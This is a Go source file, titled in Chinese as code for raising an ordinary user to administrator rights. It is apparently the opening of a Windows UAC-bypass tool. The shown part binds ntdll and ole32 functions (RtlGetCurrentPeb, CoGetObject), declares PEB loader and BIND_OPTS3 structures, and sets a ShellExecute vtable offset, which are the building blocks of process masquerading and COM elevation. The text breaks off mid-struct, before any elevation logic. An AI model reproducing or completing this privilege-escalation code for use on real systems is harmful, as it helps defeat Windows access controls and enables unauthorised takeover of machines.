golang实现普通升管理员权限
package main
import (
"fmt"
"os"
"path/filepath"
"runtime"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/registry"
)
var (
modntdll = windows.NewLazySystemDLL("ntdll.dll")
modole32 = windows.NewLazySystemDLL("ole32.dll")
procRtlInitUnicodeString = modntdll.NewProc("RtlInitUnicodeString")
procRtlGetCurrentPeb = modntdll.NewProc("RtlGetCurrentPeb")
procCoInitializeEx = modole32.NewProc("CoInitializeEx")
procCoUninitialize = modole32.NewProc("CoUninitialize")
procCoGetObject = modole32.NewProc("CoGetObject")
)
type cBIND_OPTS3 struct {
cbStruct uint32
grfFlags uint32
grfMode uint32
dwTickCountDeadline uint32
dwTrackFlags uint32
dwClassContext uint32
locale uint32
pServerInfo *uintptr
hwnd *uintptr
}
const (
releaseOffset = 2
shellExecuteOffset = 9
cSEE_MASK_DEFAULT = 0
)
type cUNICODE_STRING struct {
Length uint16
MaximumLength uint16
Buffer *uint16
}
type cLIST_ENTRY struct {
Flink *cLIST_ENTRY
Blink *cLIST_ENTRY
}
/* The below three structs have several "reserved" members. These are of course well-known and extensively reverse-
* engineered, but the below shows only the documented and therefore stable fields from Microsoft's winternl.h header */
type cLDR_DATA_TABLE_ENTRY struct {
Reserved1 [2]uintptr
InMemoryOrderLinks cLIST_ENTRY
Reserved2 [2]uintptr
DllBase uintptr
Reserved3 [2]uintptr
FullDllName cUNICODE_STRING
Reserved4 [8]byte
Reserved5 [3]uintptr
Reserve